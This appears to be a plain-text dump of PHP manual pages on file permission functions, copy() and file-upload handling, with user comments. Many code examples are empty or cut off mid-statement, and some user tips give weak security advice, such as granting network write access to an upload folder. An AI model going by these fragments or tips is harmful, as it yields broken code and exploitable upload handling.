Parameters~ filename -------- Path to the file. group ----- A group name or number. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 Changing a file's group > < Notes~ Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. See Also~ |chown|() - Changes file owner |chmod|() - Changes file mode -------------------------------------------------------------------------------- *chmod* +-------+~ | chmod |~ +-------+~ (PHP 4, PHP 5, PHP 7) chmod — Changes file mode Description~ > bool chmod ( string $filename , int $mode ) < Attempts to change the mode of the specified file to that given in mode. Parameters~ filename -------- Path to the file. mode ----- Note that mode is not automatically assumed to be an octal value, so to ensure the expected operation, you need to prefix mode with a zero (0). Strings such as "g+w" will not work properly. > < The mode parameter consists of three octal number components specifying access restrictions for the owner, the user group in which the owner is in, and to everybody else in this order. One component can be computed by adding up the needed permissions for that target user base. Number 1 means that you grant execute rights, number 2 means that you make the file writeable, number 4 means that you make the file readable. Add up these numbers to specify needed rights. You can also read more about modes on Unix systems with 'man 1 chmod' and 'man 2 chmod'. > < Return Values~ Returns TRUE on success or FALSE on failure. Notes~ Note: The current user is the user under which PHP runs. It is probably not the same user you use for normal shell or FTP access. The mode can be changed only by user who owns the file on most systems. Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: When safe mode is enabled, PHP checks whether the files or directories you are about to operate on have the same UID (owner) as the script that is being executed. In addition, you cannot set the SUID, SGID and sticky bits. See Also~ |chown|() - Changes file owner |chgrp|() - Changes file group |fileperms|() - Gets file permissions |stat|() - Gives information about a file User Contributed Notes 18 notes 42 MethodicalFool ¶6 years ago~ BEWARE, a couple of the examples in the comments suggest doing something like this: > chmod(file_or_dir_name, intval($mode, 8)); < However, if $mode is an integer then intval( ) won't modify it. So, this code... > $mode = 644; chmod('/tmp/test', intval($mode, 8)); < ...produces permissions that look like this: 1--w----r-T Instead, use octdec( ), like this: > chmod(file_or_dir_name, octdec($mode)); < See also: http://www.php.net/manual/en/function.octdec.php 23 Geoff W ¶7 years ago~ BEWARE using quotes around the second parameter... If you use quotes eg > chmod (file, "0644"); < php will not complain but will do an implicit conversion to an int before running chmod. Unfortunately the implicit conversion doesn't take into account the octal string so you end up with an integer version 644, which is 1204 octal 11 pmichaud at pobox dot com ¶14 years ago~ In the previous post, stickybit avenger writes: Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value... Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod: > < Rule of thumb: always prefix octal mode values with a zero. 13 Anonymous ¶8 years ago~ Changes file mode recursive in $pathname to $filemode > < 16 masha at mail dot ru ¶11 years ago~ Usefull reference: Value Permission Level 400 Owner Read 200 Owner Write 100 Owner Execute 40 Group Read 20 Group Write 10 Group Execute 4 Global Read 2 Global Write 1 Global Execute (taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html) -------------------------------------------------------------------------------- *chown* +-------+~ | chown |~ +-------+~ (PHP 4, PHP 5, PHP 7) chown — Changes file owner Description~ > bool chown ( string $filename , mixed $user ) < Attempts to change the owner of the file filename to user user. Only the superuser may change the owner of a file. Parameters~ filename -------- Path to the file. user ----- A user name or number. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 Simple chown() usage > < The above example will output something similar to: Array ( [name] => root [passwd] => x [uid] => 0 [gid] => 0 [gecos] => root [dir] => /root [shell] => /bin/bash ) Notes~ Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem. Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. See Also~ |chmod|() - Changes file mode |chgrp|() - Changes file group -------------------------------------------------------------------------------- *clearstatcache* +----------------+~ | clearstatcache |~ +----------------+~ (PHP 4, PHP 5, PHP 7) clearstatcache — Clears file status cache Description~ > void clearstatcache ([ bool $clear_realpath_cache = false [, string $filename ]] ) < When you use stat(), lstat(), or any of the other functions listed in the affected functions list (below), PHP caches the information those functions return in order to provide faster performance. However, in certain cases, you may want to clear the cached information. For instance, if the same file is being checked multiple times within a single script, and that file is in danger of being removed or changed during that script's operation, you may elect to clear the status cache. In these cases, you can use the clearstatcache() function to clear the information that PHP caches about a file. You should also note that PHP doesn't cache information about non-existent files. So, if you call file_exists() on a file that doesn't exist, it will return FALSE until you create the file. If you create the file, it will return TRUE even if you then delete the file. However unlink() clears the cache automatically. Note: This function caches information about specific filenames, so you only need to call clearstatcache() if you are performing multiple operations on the same filename and require the information about that particular file to not be cached. Affected functions include stat(), lstat(), file_exists(), is_writable(), is_readable(), is_executable(), is_file(), is_dir(), is_link(), filectime(), fileatime(), filemtime(), fileinode(), filegroup(), fileowner(), filesize(), filetype(), and fileperms(). Parameters~ clear_realpath_cache -------------------- Whether to clear the realpath cache or not. filename -------- Clear the realpath and the stat cache for a specific filename only; only used if clear_realpath_cache is TRUE. Return Values~ No value is returned. Changelog~ Version Description 5.3.0 Added optional clear_realpath_cache and filename parameters. Examples~ Example #1 clearstatcache() example > < The above example will output something similar to: UID @ Sun, 12 Oct 2008 20:48:28 +0100: root UID @ Sun, 12 Oct 2008 20:48:28 +0100: root UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross User Contributed Notes 3 notes 15 matt_m at me dot com ¶5 years ago~ unlink() does not clear the cache if you are performing file_exists() on a remote file like: > < In this case, even after you unlink() successfully, you must call clearstatcache(). > < file_exists() then properly returns false. -------------------------------------------------------------------------------- *copy* +------+~ | copy |~ +------+~ (PHP 4, PHP 5, PHP 7) copy — Copies file Description~ > bool copy ( string $source , string $dest [, resource $context ] ) < Makes a copy of the file source to dest. If you wish to move a file, use the rename() function. Parameters~ source ------ Path to the source file. dest ----- The destination path. If dest is a URL, the copy operation may fail if the wrapper does not support overwriting of existing files. Warning If the destination file already exists, it will be overwritten. context A valid context resource created with stream_context_create(). Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.3.4 Changed the context parameter to actually have an effect. Previously, any context was ignored. 5.3.0 Added context support. 4.3.0 Both source and dest may now be URLs if the "fopen wrappers" have been enabled. See fopen() for more details. Examples~ Example #1 copy() example > < See Also~ |move_uploaded_file|() - Moves an uploaded file to a new location |rename|() - Renames a file or directory The section of the manual about |handling_file_uploads| 108 simonr_at_orangutan_dot_co_dot_uk ¶12 years ago~ Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into....... DOH ! hope this saves somebody hours of fruitless debugging 56 cooper at asu dot ntu-kpi dot kiev dot ua ¶11 years ago~ It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help, 46 steve a h ¶8 years ago~ Don't forget; you can use copy on remote files, rather than doing messy fopen stuff. e.g. > \n".$errors['message']; } else { echo "File copied from remote!"; } ?> < 3 hugo_2000 at gmx dot at ¶1 year ago~ If you try to copy a file to itself - e.g. if the target directory is just a symlink to the source directory - copy will return false. just like on the command line. 15 absorbentshoulderman at gmail dot com ¶4 years ago~ A nice simple trick if you need to make sure the folder exists first: > < That simple. 22 gimmicklessgpt at gmail dot com ¶7 years ago~ Here's a simple recursive function to copy entire directories Note to do your own check to make sure the directory exists that you first call it on. > < 10 promaty at gmail dot com ¶5 years ago~ Here is a simple script that I use for removing and copying non-empty directories. Very useful when you are not sure what is the type of a file. I am using these for managing folders and zip archives for my website plugins. > < Cheers! -------------------------------------------------------------------------------- *handling_file_uploads* +-----------------------+~ | Handling file uploads |~ +-----------------------+~ Table of Contents~ |POST_method_uploads| |Error_Messages_Explained| |Common_Pitfalls| |Uploading_multiple_files| |PUT_method_support| 251 CertaiN ¶3 years ago~ You'd better check $_FILES structure and values throughly. The following code cannot cause any errors absolutely. Example: > 1000000) { throw new RuntimeException('Exceeded filesize limit.'); } // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !! // Check MIME Type by yourself. $finfo = new finfo(FILEINFO_MIME_TYPE); if (false === $ext = array_search( $finfo->file($_FILES['upfile']['tmp_name']), array( 'jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', ), true )) { throw new RuntimeException('Invalid file format.'); } // You should name it uniquely. // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !! // On this example, obtain safe unique name from its binary data. if (!move_uploaded_file( $_FILES['upfile']['tmp_name'], sprintf('./uploads/%s.%s', sha1_file($_FILES['upfile']['tmp_name']), $ext ) )) { throw new RuntimeException('Failed to move uploaded file.'); } echo 'File is uploaded successfully.'; } catch (RuntimeException $e) { echo $e->getMessage(); } ?> < 22 xmontero at dsitelecom dot com ¶5 years ago~ If "large files" (ie: 50 or 100 MB) fail, check this: It may happen that your outgoing connection to the server is slow, and it may timeout not the "execution time" but the "input time", which for example in our system defaulted to 60s. In our case a large upload could take 1 or 2 hours. Additionally we had "session settings" that should be preserved after upload. 1) You might want review those ini entries: * session.gc_maxlifetime * max_input_time * max_execution_time * upload_max_filesize * post_max_size 2) Still fails? Caution, not all are changeable from the script itself. ini_set() might fail to override. More info here: http://www.php.net/manual/es/ini.list.php You can see that the "upload_max_filesize", among others, is PHP_INI_PERDIR and not PHP_INI_ALL. This invalidates to use ini_set(): http://www.php.net/manual/en/configuration.changes.modes.php Use .htaccess instead. 3) Still fails?. Just make sure you enabled ".htaccess" to overwrite your php settings. This is made in the apache file. You need at least AllowOverride Options. See this here: http://www.php.net/manual/en/configuration.changes.php You will necessarily allow this manually in the case your master files come with AllowOverride None. Conclussion: Depending on the system, to allow "large file uploads" you must go up and up and up and touch your config necessarily up to the apache config. Sample files: These work for me, for 100MB uploads, lasting 2 hours: In apache-virtual-host: ----------------------------------------------------------- AllowOverride Options ----------------------------------------------------------- In .htaccess: ----------------------------------------------------------- php_value session.gc_maxlifetime 10800 php_value max_input_time 10800 php_value max_execution_time 10800 php_value upload_max_filesize 110M php_value post_max_size 120M ----------------------------------------------------------- In the example, - As I last 1 to 2 hours, I allow 3 hours (3600x3) - As I need 100MB, I allow air above for the file (110M) and a bit more for the whole post (120M). 12 ceo at l-i-e dot com ¶11 years ago~ Using /var/www/uploads in the example code is just criminal, imnsho. One should *NOT* upload untrusted files into your web tree, on any server. Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there! The $_FILES['userfile']['type'] is essentially USELESS. A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format. B. It can be forged, so it's crappy security anyway. One's code should INSPECT the actual file to see if it looks kosher. For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image. That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file. For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect. I've had trouble in the past with reading the '/tmp' file in a file upload. It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file. Fine. One should move the uploaded file to some staging directory. Then you check out its contents as thoroughly as you can. THEN, if it seems kosher, move it into a directory outside your web tree. Any access to that file should be through a PHP script which reads the file. Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho. There are more than a few User Contributed notes here with naive (bad) advice. Be wary. 13 jan at lanteraudio dot nl ¶4 years ago~ Also stumbled on the max_file_size problem, in particular getting no response, no error whatsoever when uploading a file bigger than the set upload_max_filesize. I found that it's not the upload_max_filesize setting, but instead the post_max_size setting causing this no response issue. So if you set post_max_size way larger than upload_max_filesize, at least you are likely to get an error response when filesize exceeds upload_max_filesize but is still within the limits of post_max_size. Hope this helps anyone. 5 myko AT blue needle DOT com ¶11 years ago~ Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On. Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly. Turning zlib compression to OFF seems to solve the issue. Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one. 12 svenr at selfhtml dot org ¶10 years ago~ Clarification on the MAX_FILE_SIZE hidden form field: PHP has the somewhat strange feature of checking multiple "maximum file sizes". The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received. In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array. The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong. Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint). 9 jedi_aka at yahoo dot com ¶10 years ago~ For those of you trying to make the upload work with IIS on windows XP/2000/XP Media and alike here is a quick todo. 1) Once you have created subdirectories "uploads/" in the same directory wher you code is running use the code from oportocala above and to make absolutely sure sure that the file you are trying to right is written under that folder. ( I recomend printing it using echo $uploadfile; ) 2) In windows explorer browse to the upload directory created above and share it. To do that execute the following substeps. a) Right click the folder click "sharing and security..." b) Check 'Share this folder on the network' c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT ) d) click 'ok' or 'apply' 3) you can then go in the IIS to set read and write permissions for it. To do that execute the followin substeps. a) Open IIS (Start/Controp Panel (classic View)/ Admistrative tools/Internet Information Service b) Browse to your folder (the one we created above) c) right click and select properties. d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY BROWSING are checked. e) For the security freaks out there, You should also make sure that 'execute permissions:' are set to Script only or lower (DO NOT SET IT TO 'script and executable)'( that is because someone could upload a script to your directory and run it. And, boy, you do not want that to happen). there U go. Send me feed back it if worked for you or not so that I can update the todo. jedi_aka@yahoo.com PS: BIG thanks to oportocala 11 info at levaravel dot com ¶8 years ago~ A little codesnippet which returns a filesize in a more legible format. > 0.9){ $filesize = $filesize / $decr; $step++; } return round($filesize,2).' '.$prefix[$step]; } else { return 'NaN'; } } ?> < 14 keith at phpdiary dot org ¶11 years ago~ Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised. I'll show you why below: The manual (if you scroll above) states: $_FILES['userfile']['type'] - The mime type of the file, if the browser provided this information. An example would be "image/gif". Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported! So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image". My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images. Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so) -------------------------------------------------------------------------------- *POST_method_uploads* +---------------------+~ | POST method uploads |~ +---------------------+~ This feature lets people upload both text and binary files. With PHP's authentication and file manipulation functions, you have full control over who is allowed to upload and what is to be done with the file once it has been uploaded. PHP is capable of receiving file uploads from any RFC-1867 compliant browser. Note: Related Configurations Note See also the file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size and max_input_time directives in php.ini PHP also supports PUT-method file uploads as used by Netscape Composer and W3C's Amaya clients. See the PUT Method Support for more details. Example #1 File Upload Form A file upload screen can be built by creating a special form which looks something like this: >
    Send this file:
    < The __URL__ in the above example should be replaced, and point to a PHP file. The MAX_FILE_SIZE hidden field (measured in bytes) must precede the file input field, and its value is the maximum filesize accepted by PHP. This form element should always be used as it saves users the trouble of waiting for a big file being transferred only to find that it was too large and the transfer failed. Keep in mind: fooling this setting on the browser side is quite easy, so never rely on files with a greater size being blocked by this feature. It is merely a convenience feature for users on the client side of the application. The PHP settings (on the server side) for maximum-size, however, cannot be fooled. Note: Be sure your file upload form has attribute enctype="multipart/form-data" otherwise the file upload will not work. The global $_FILES will contain all the uploaded file information. Its contents from the example form is as follows. Note that this assumes the use of the file upload name userfile, as used in the example script above. This can be any name. $_FILES['userfile']['name'] The original name of the file on the client machine. $_FILES['userfile']['type'] The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted. $_FILES['userfile']['size'] The size, in bytes, of the uploaded file. $_FILES['userfile']['tmp_name'] The temporary filename of the file in which the uploaded file was stored on the server. $_FILES['userfile']['error'] The error code associated with this file upload. Files will, by default be stored in the server's default temporary directory, unless another location has been given with the upload_tmp_dir directive in php.ini. The server's default directory can be changed by setting the environment variable TMPDIR in the environment in which PHP runs. Setting it using putenv() from within a PHP script will not work. This environment variable can also be used to make sure that other operations are working on uploaded files, as well. Example #2 Validating file uploads See also the function entries for is_uploaded_file() and move_uploaded_file() for further information. The following example will process the file upload that came from a form. > '; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "Possible file upload attack!\n"; } echo 'Here is some more debugging info:'; print_r($_FILES); print ""; ?> < The PHP script which receives the uploaded file should implement whatever logic is necessary for determining what should be done with the uploaded file. You can, for example, use the $_FILES['userfile']['size'] variable to throw away any files that are either too small or too big. You could use the $_FILES['userfile']['type'] variable to throw away any files that didn't match a certain type criteria, but use this only as first of a series of checks, because this value is completely under the control of the client and not checked on the PHP side. Also, you could use $_FILES['userfile']['error'] and plan your logic according to the error codes. Whatever the logic, you should either delete the file from the temporary directory or move it elsewhere. If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none. The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed. Example #3 Uploading array of files PHP supports HTML array feature even with files. >

    Pictures:

    $error) { if ($error == UPLOAD_ERR_OK) { $tmp_name = $_FILES["pictures"]["tmp_name"][$key]; // basename() may prevent filesystem traversal attacks; // further validation/sanitation of the filename may be appropriate $name = basename($_FILES["pictures"]["name"][$key]); move_uploaded_file($tmp_name, "data/$name"); } } ?> < File upload progress bar can be implemented using Session Upload Progress. User Contributed Notes 15 notes 255 Anonymous ¶2 years ago~ For the love of god, don't do what michael suggests in http://php.net/manual/en/features.file-upload.post-method.php#94973 or you will be instantly pwned by someone uploading a php-shell to your script dir. When the mods come to delete this note for violating the don't-refer-to-another-note rule, please please /please/ delete michael's note too. 40 daevid at daevid dot com ¶7 years ago~ I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like: Array ( [0] => Array ( [name] => facepalm.jpg [type] => image/jpeg [tmp_name] => /tmp/phpn3FmFr [error] => 0 [size] => 15476 ) [1] => Array ( [name] => [type] => [tmp_name] => [error] => 4 [size] => ) ) and not this Array ( [name] => Array ( [0] => facepalm.jpg [1] => ) [type] => Array ( [0] => image/jpeg [1] => ) [tmp_name] => Array ( [0] => /tmp/phpn3FmFr [1] => ) [error] => Array ( [0] => 0 [1] => 4 ) [size] => Array ( [0] => 15476 [1] => 0 ) ) Anyways, here is a fuller example than the sparce one in the documentation above: > $error) { $tmp_name = $_FILES["attachment"]["tmp_name"][$key]; if (!$tmp_name) continue; $name = basename($_FILES["attachment"]["name"][$key]); if ($error == UPLOAD_ERR_OK) { if ( move_uploaded_file($tmp_name, "/tmp/".$name) ) $uploaded_array[] .= "Uploaded file '".$name."'.
    \n"; else $errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."'
    \n"; } else $errormsg .= "Upload error. [".$error."] on file '".$name."'
    \n"; } ?> < 6 mpyw ¶9 months ago~ Do not use Coreywelch or Daevid's way, because their methods can handle only within two-dimensional structure. $_FILES can consist of any hierarchy, such as 3d or 4d structure. The following example form breaks their codes: >
    < As the solution, you should use PSR-7 based zendframework/zend-diactoros. GitHub: https://github.com/zendframework/zend-diactoros Example: > getMethod() !== 'POST') { http_response_code(405); exit('Use POST method.'); } $uploaded_files = $request->getUploadedFiles(); if ( !isset($uploaded_files['files']['x']['y']['z']) || !$uploaded_files['files']['x']['y']['z'] instanceof UploadedFileInterface ) { http_response_code(400); exit('Invalid request body.'); } $file = $uploaded_files['files']['x']['y']['z']; if ($file->getError() !== UPLOAD_ERR_OK) { http_response_code(400); exit('File uploading failed.'); } $file->moveTo('/path/to/new/file'); ?> < 14 eslindsey at gmail dot com ¶8 years ago~ Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients' side. You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client. This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst). 8 coreywelch+phpnet at gmail dot com ¶1 year ago~ The documentation doesn't have any details about how the HTML array feature formats the $_FILES array. Example $_FILES array: For single file - Array ( [document] => Array ( [name] => sample-file.doc [type] => application/msword [tmp_name] => /tmp/path/phpVGCDAJ [error] => 0 [size] => 0 ) ) Multi-files with HTML array feature - Array ( [documents] => Array ( [name] => Array ( [0] => sample-file.doc [1] => sample-file.doc ) [type] => Array ( [0] => application/msword [1] => application/msword ) [tmp_name] => Array ( [0] => /tmp/path/phpVGCDAJ [1] => /tmp/path/phpVGCDAJ ) [error] => Array ( [0] => 0 [1] => 0 ) [size] => Array ( [0] => 0 [1] => 0 ) ) ) The problem occurs when you have a form that uses both single file and HTML array feature. The array isn't normalized and tends to make coding for it really sloppy. I have included a nice method to normalize the $_FILES array. > $file) { if (!is_array($file['name'])) { $normalized_array[$index][] = $file; continue; } foreach($file['name'] as $idx => $name) { $normalized_array[$index][$idx] = [ 'name' => $name, 'type' => $file['type'][$idx], 'tmp_name' => $file['tmp_name'][$idx], 'error' => $file['error'][$idx], 'size' => $file['size'][$idx] ]; } } return $normalized_array; } ?> < The following is the output from the above method. Array ( [document] => Array ( [0] => Array ( [name] => sample-file.doc [type] => application/msword [tmp_name] => /tmp/path/phpVGCDAJ [error] => 0 [size] => 0 ) ) [documents] => Array ( [0] => Array ( [name] => sample-file.doc [type] => application/msword [tmp_name] => /tmp/path/phpVGCDAJ [error] => 0 [size] => 0 ) [1] => Array ( [name] => sample-file.doc [type] => application/msword [tmp_name] => /tmp/path/phpVGCDAJ [error] => 0 [size] => 0 ) ) ) -------------------------------------------------------------------------------- *Error_Messages_Explained* +--------------------------+~ | Error Messages Explained |~ +--------------------------+~ PHP returns an appropriate error code along with the file array. The error code can be found in the error segment of the file array that is created during the file upload by PHP. In other words, the error might be found in $_FILES['userfile']['error']. UPLOAD_ERR_OK Value: 0; There is no error, the file uploaded with success. UPLOAD_ERR_INI_SIZE Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini. UPLOAD_ERR_FORM_SIZE Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form. UPLOAD_ERR_PARTIAL Value: 3; The uploaded file was only partially uploaded. UPLOAD_ERR_NO_FILE Value: 4; No file was uploaded. UPLOAD_ERR_NO_TMP_DIR Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3. UPLOAD_ERR_CANT_WRITE Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0. UPLOAD_ERR_EXTENSION Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop; examining the list of loaded extensions with phpinfo() may help. Introduced in PHP 5.2.0. User Contributed Notes 17 notes 119 Anonymous ¶8 years ago~ [EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.] This is a handy exception to use when handling upload errors: > codeToMessage($code); parent::__construct($message, $code); } private function codeToMessage($code) { switch ($code) { case UPLOAD_ERR_INI_SIZE: $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini"; break; case UPLOAD_ERR_FORM_SIZE: $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"; break; case UPLOAD_ERR_PARTIAL: $message = "The uploaded file was only partially uploaded"; break; case UPLOAD_ERR_NO_FILE: $message = "No file was uploaded"; break; case UPLOAD_ERR_NO_TMP_DIR: $message = "Missing a temporary folder"; break; case UPLOAD_ERR_CANT_WRITE: $message = "Failed to write file to disk"; break; case UPLOAD_ERR_EXTENSION: $message = "File upload stopped by extension"; break; default: $message = "Unknown upload error"; break; } return $message; } } // Use if ($_FILES['file']['error'] === UPLOAD_ERR_OK) { //uploading successfully done } else { throw new UploadException($_FILES['file']['error']); } ?> < 69 Viktor ¶2 years ago~ Update to Adams old comment. This is probably useful to someone. > 'There is no error, the file uploaded with success', 1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini', 2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form', 3 => 'The uploaded file was only partially uploaded', 4 => 'No file was uploaded', 6 => 'Missing a temporary folder', 7 => 'Failed to write file to disk.', 8 => 'A PHP extension stopped the file upload.', ); < 69 adam at gotlinux dot us ¶11 years ago~ This is probably useful to someone. > "There is no error, the file uploaded with success", 1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini", 2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form" 3=>"The uploaded file was only partially uploaded", 4=>"No file was uploaded", 6=>"Missing a temporary folder" ); ?> < 28 stephen at poppymedia dot co dot uk ¶11 years ago~ if post is greater than post_max_size set in php.ini $_FILES and $_POST will return empty 10 Jeff Miner mrjminer AT gmail DOT com ¶6 years ago~ One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space. Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context. So, instead of this: ----- > < ----- You have to do this: ----- > < ----- Also, ctype_digit fails, but is_int works. If you're wondering... no, it doesn't make any sense. To Schoschie: You ask the question: Why make stuff complicated when you can make it easy? I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement. In a loop, that would be deadly... try this instead: ----- > 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.', 'The uploaded file was only partially uploaded.', 'No file was uploaded.', 6=>'Missing a temporary folder.', 'Failed to write file to disk.', 'A PHP extension stopped the file upload.' ); // Outside a loop... if($_FILES['userfile']['error']==0) { // process } else { $error_message = $error_types[$_FILES['userfile']['error']]; // do whatever with the error message } // In a loop... for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) { if($_FILES['userfile']['error'][$x]==0) { // process } else { $error_message = $error_types[$_FILES['userfile']['error'][$x]]; // Do whatever with the error message } } // When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory unset($error_types); ?> < -------------------------------------------------------------------------------- *Common_Pitfalls* +-----------------+~ | Common Pitfalls |~ +-----------------+~ The MAX_FILE_SIZE item cannot specify a file size greater than the file size that has been set in the upload_max_filesize in the php.ini file. The default is 2 megabytes. If a memory limit is enabled, a larger memory_limit may be needed. Make sure you set memory_limit large enough. If max_execution_time is set too small, script execution may be exceeded by the value. Make sure you set max_execution_time large enough. Note: max_execution_time only affects the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, time taken by the file upload process, etc. is not included when determining the maximum time that the script has been running. Warning max_input_time sets the maximum time, in seconds, the script is allowed to receive input; this includes file uploads. For large or multiple files, or users on slower connections, the default of 60 seconds may be exceeded. If post_max_size is set too small, large files cannot be uploaded. Make sure you set post_max_size large enough. Since PHP 5.2.12, the max_file_uploads configuration setting controls the maximum number of files that can uploaded in one request. If more files are uploaded than the limit, then $_FILES will stop processing files once the limit is reached. For example, if max_file_uploads is set to 10, then $_FILES will never contain more than 10 items. Not validating which file you operate on may mean that users can access sensitive information in other directories. Please note that the CERN httpd seems to strip off everything starting at the first whitespace in the content-type mime header it gets from the client. As long as this is the case, CERN httpd will not support the file upload feature. Due to the large amount of directory listing styles we cannot guarantee that files with exotic names (like containing spaces) are handled properly. A developer may not mix normal input fields and file upload fields in the same form variable (by using an input name like foo[]). -------------------------------------------------------------------------------- *Uploading_multiple_files* +--------------------------+~ | Uploading multiple files |~ +--------------------------+~ Multiple files can be uploaded using different name for input. It is also possible to upload multiple files simultaneously and have the information organized automatically in arrays for you. To do so, you need to use the same array submission syntax in the HTML form as you do with multiple selects and checkboxes: Example #1 Uploading multiple files >
    Send these files:


    < When the above form is submitted, the arrays $_FILES['userfile'], $_FILES['userfile']['name'], and $_FILES['userfile']['size'] will be initialized (as well as in $HTTP_POST_FILES for PHP versions prior to 4.1.0). When register_globals is on, globals for uploaded files are also initialized. Each of these will be a numerically indexed array of the appropriate values for the submitted files. For instance, assume that the filenames /home/test/review.html and /home/test/xwp.out are submitted. In this case, $_FILES['userfile']['name'][0] would contain the value review.html, and $_FILES['userfile']['name'][1] would contain the value xwp.out. Similarly, $_FILES['userfile']['size'][0] would contain review.html's file size, and so forth. $_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0], $_FILES['userfile']['size'][0], and $_FILES['userfile']['type'][0] are also set. Warning Since PHP 5.2.12, the max_file_uploads configuration setting acts as a limit on the number of files that can be uploaded in one request. You will need to ensure that your form does not try to upload more files in one request than this limit. 207 phpuser at gmail dot com ¶11 years ago~ When uploading multiple files, the $_FILES variable is created in the form: Array ( [name] => Array ( [0] => foo.txt [1] => bar.txt ) [type] => Array ( [0] => text/plain [1] => text/plain ) [tmp_name] => Array ( [0] => /tmp/phpYzdqkD [1] => /tmp/phpeEwEWG ) [error] => Array ( [0] => 0 [1] => 0 ) [size] => Array ( [0] => 123 [1] => 456 ) ) I found it made for a little cleaner code if I had the uploaded files array in the form Array ( 